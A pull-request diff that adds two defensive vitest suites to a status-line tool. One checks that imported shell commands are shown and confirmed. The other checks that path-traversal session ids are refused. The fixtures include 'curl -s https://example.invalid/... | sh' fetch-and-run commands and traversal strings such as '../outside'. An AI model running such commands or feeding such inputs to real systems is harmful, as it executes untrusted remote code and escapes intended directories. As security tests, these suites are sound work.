Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
196 changes: 196 additions & 0 deletions src/tui/components/__tests__/upstream-import-confirm.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,196 @@
import { render } from 'ink';
import { PassThrough } from 'node:stream';
import React from 'react';
import {
describe,
expect,
it,
vi
} from 'vitest';

import {
DEFAULT_SETTINGS,
type Settings
} from '../../../types/Settings';
import { waitFor } from '../../__tests__/helpers/wait-for-ink';
import { ImportPreviewDialog } from '../ImportPreviewDialog';

// Upstream 4031a93: shell commands an import would run are listed in full
// (control characters escaped) and require explicit confirmation for Replace
// All and Merge, with Cancel preselected; imports without new commands keep
// applying straight away.

class MockTtyStream extends PassThrough {
isTTY = true;
columns = 120;
rows = 40;

setRawMode() {
return this;
}

ref() {
return this;
}

unref() {
return this;
}
}

function createMockStdin(): NodeJS.ReadStream {
return new MockTtyStream() as unknown as NodeJS.ReadStream;
}

interface CapturedWriteStream extends NodeJS.WriteStream {
clearOutput: () => void;
getOutput: () => string;
}

function createMockStdout(): CapturedWriteStream {
const stream = new MockTtyStream();
const chunks: string[] = [];

stream.on('data', (chunk: Buffer | string) => {
chunks.push(chunk.toString());
});

return Object.assign(stream as unknown as NodeJS.WriteStream, {
clearOutput() {
chunks.length = 0;
},
getOutput() {
return chunks.join('');
}
});
}

function renderDialog(validation: { status: string; data: Settings; presentKeys: string[] }, onApply: (mode: string) => void) {
const stdin = createMockStdin();
const stdout = createMockStdout();
const stderr = createMockStdout();
const instance = render(React.createElement(ImportPreviewDialog, {
validation: validation as never,
currentSettings: DEFAULT_SETTINGS,
onApply,
onCancel: () => undefined
}), {
stdin,
stdout,
stderr,
debug: true,
exitOnCtrlC: false,
patchConsole: false
});

return {
instance,
stdin,
stdout,
cleanup(): void {
instance.unmount();
instance.cleanup();
stdin.destroy();
stdout.destroy();
stderr.destroy();
}
};
}

describe('upstream 4031a93: imported shell commands are shown and confirmed', () => {
it('lists the full command, asks, and applies only after explicit confirmation', async () => {
expect.hasAssertions();
const command = 'curl -s https://example.invalid/a-long-path-that-would-be-truncated | sh';
const onApply = vi.fn();
const dialog = renderDialog({
status: 'valid',
data: { ...DEFAULT_SETTINGS, lines: [[{ id: 'c', type: 'custom-command', commandPath: `${command}\u001b[2J` }], [], []] },
presentKeys: ['version', 'lines']
}, onApply);

try {
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain(`${command}\\u001b[2J`);
expect(dialog.stdout.getOutput()).toContain('shell commands that run on every status line render');
});

dialog.stdin.write('\r');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Cancel');
expect(dialog.stdout.getOutput()).toContain('Apply and run these commands');
});
expect(onApply).not.toHaveBeenCalled();

dialog.stdout.clearOutput();
dialog.stdin.write('\r');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Replace All');
});
expect(onApply).not.toHaveBeenCalled();

dialog.stdin.write('\r');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Cancel');
});
dialog.stdin.write('\u001B[B');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Apply and run these commands');
});
dialog.stdin.write('\r');
await waitFor(() => {
expect(onApply).toHaveBeenCalledWith('replace');
});
} finally {
dialog.cleanup();
}
}, 25000);

it('asks before applying a merge that adds shell commands', async () => {
const command = 'curl -s https://example.invalid/merge | sh';
const onApply = vi.fn();
const dialog = renderDialog({
status: 'valid',
data: { ...DEFAULT_SETTINGS, lines: [[{ id: 'm', type: 'custom-command', commandPath: command }], [], []] },
presentKeys: ['version', 'lines']
}, onApply);

try {
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Replace All');
});

dialog.stdin.write('\u001B[B');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('Merge');
});
dialog.stdin.write('\r');
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('Apply and run these commands');
});
expect(onApply).not.toHaveBeenCalled();
} finally {
dialog.cleanup();
}
}, 25000);

it('applies an import without shell commands straight away', async () => {
const onApply = vi.fn();
const dialog = renderDialog({
status: 'valid',
data: { ...DEFAULT_SETTINGS, globalBold: true },
presentKeys: ['version', 'globalBold']
}, onApply);

try {
await waitFor(() => {
expect(dialog.stdout.getOutput()).toContain('▶ Replace All');
});
dialog.stdin.write('\r');
await waitFor(() => {
expect(onApply).toHaveBeenCalledWith('replace');
});
} finally {
dialog.cleanup();
}
}, 25000);
});
139 changes: 139 additions & 0 deletions src/utils/__tests__/upstream-skills-path.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
import { spawnSync } from 'node:child_process';
import {
mkdirSync,
mkdtempSync,
rmSync,
writeFileSync
} from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { fileURLToPath } from 'node:url';
import {
afterEach,
beforeEach,
describe,
expect,
it
} from 'vitest';

interface BunSpawnResult {
exitCode: number | null;
stdout: Buffer;
stderr: Buffer;
}

interface BunRuntime { spawnSync(command: string[], options: { env: NodeJS.ProcessEnv; stdout: 'pipe'; stderr: 'pipe' }): BunSpawnResult }

// Other suites mock node:child_process and that mock leaks across files under
// the bun runner (deterministically on Linux CI), so subprocesses are spawned
// through Bun.spawnSync there; vitest/Node keeps test files isolated and takes
// the real spawnSync.
function runProcess(command: string, args: string[], options: { env?: NodeJS.ProcessEnv }): string {
const bun = (globalThis as { Bun?: BunRuntime }).Bun;

if (bun) {
const result = bun.spawnSync([command, ...args], {
env: options.env ?? process.env,
stdout: 'pipe',
stderr: 'pipe'
});
if (result.exitCode !== 0) {
throw new Error(`${command} ${args.join(' ')} failed: ${result.stderr.toString().slice(0, 400)}`);
}
return result.stdout.toString();
}

const result = spawnSync(command, args, { env: options.env, encoding: 'utf8' });
if (result.error !== undefined) {
throw result.error;
}
if (result.status !== 0) {
throw new Error(`${command} ${args.join(' ')} failed: ${result.stderr.slice(0, 400)}`);
}
return result.stdout;
}

// Upstream 75f07d6: the skills hook and the Skills widget build the log path
// from the payload's session_id. An id containing `/` or `..` named a file
// outside ~/.cache/ccstatusline/skills: the hook appended to it and the
// widget read it. Session ids are UUIDs, so only [A-Za-z0-9_-] get a log.

let workDir = '';
let probeHome = '';
let probeBundle = '';

const probeSource = `
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import * as skillsModule from ${JSON.stringify(fileURLToPath(new URL('../skills.ts', import.meta.url)))};
import * as hookModule from ${JSON.stringify(fileURLToPath(new URL('../hook-handler.ts', import.meta.url)))};

const [command, argument] = process.argv.slice(2);
if (command === 'path') {
process.stdout.write(JSON.stringify({ skillsPath: skillsModule.getSkillsFilePath(argument) }));
} else if (command === 'hook') {
hookModule.handleHookInput(JSON.stringify({
session_id: argument,
hook_event_name: 'PreToolUse',
tool_name: 'Skill',
tool_input: { skill: 'commit' }
}));
process.stdout.write(JSON.stringify({
escapedFile: fs.existsSync(path.join(os.homedir(), '.cache', 'escape.jsonl')),
ccstatuslineDir: fs.existsSync(path.join(os.homedir(), '.cache', 'ccstatusline'))
}));
}
`;

function runProbe(command: string, argument: string): Record<string, unknown> {
// node, not bun: node's os.homedir() honors HOME, keeping every cache
// write inside the temp home
const output = runProcess('node', [probeBundle, command, argument], { env: { ...process.env, HOME: probeHome, USERPROFILE: probeHome } });
return JSON.parse(output) as Record<string, unknown>;
}

describe('upstream 75f07d6: the skills log stays inside the skills folder', () => {
beforeEach(() => {
workDir = mkdtempSync(path.join(os.tmpdir(), 'ccsl-skills-path-'));
probeHome = path.join(workDir, 'home');
mkdirSync(probeHome, { recursive: true });
const entry = path.join(workDir, 'probe-skills.mjs');
writeFileSync(entry, probeSource);
probeBundle = path.join(workDir, 'probe-skills.bundle.mjs');
runProcess('bun', ['build', entry, '--outfile', probeBundle, '--target=node'], { env: { ...process.env } });
});

afterEach(() => {
rmSync(workDir, { recursive: true, force: true });
});

it('returns the log path for a UUID session id', () => {
const result = runProbe('path', '8b65639f-5819-44ad-86cc-12b684622a78');

const skillsPath = result.skillsPath as string;
expect(skillsPath).toContain('skills-8b65639f-5819-44ad-86cc-12b684622a78.jsonl');
expect(skillsPath.startsWith(probeHome)).toBe(true);
});

it.each([
'x/../../outside',
'../outside',
'a/b',
'..',
'',
'with space',
'a\\b'
])('has no log path for the session id %j', (sessionId) => {
const result = runProbe('path', sessionId);

expect(result.skillsPath).toBeNull();
});

it('writes nothing when a hook passes a traversal session id', () => {
const result = runProbe('hook', 'x/../../../escape');

expect(result.escapedFile).toBe(false);
expect(result.ccstatuslineDir).toBe(false);
});
});
Loading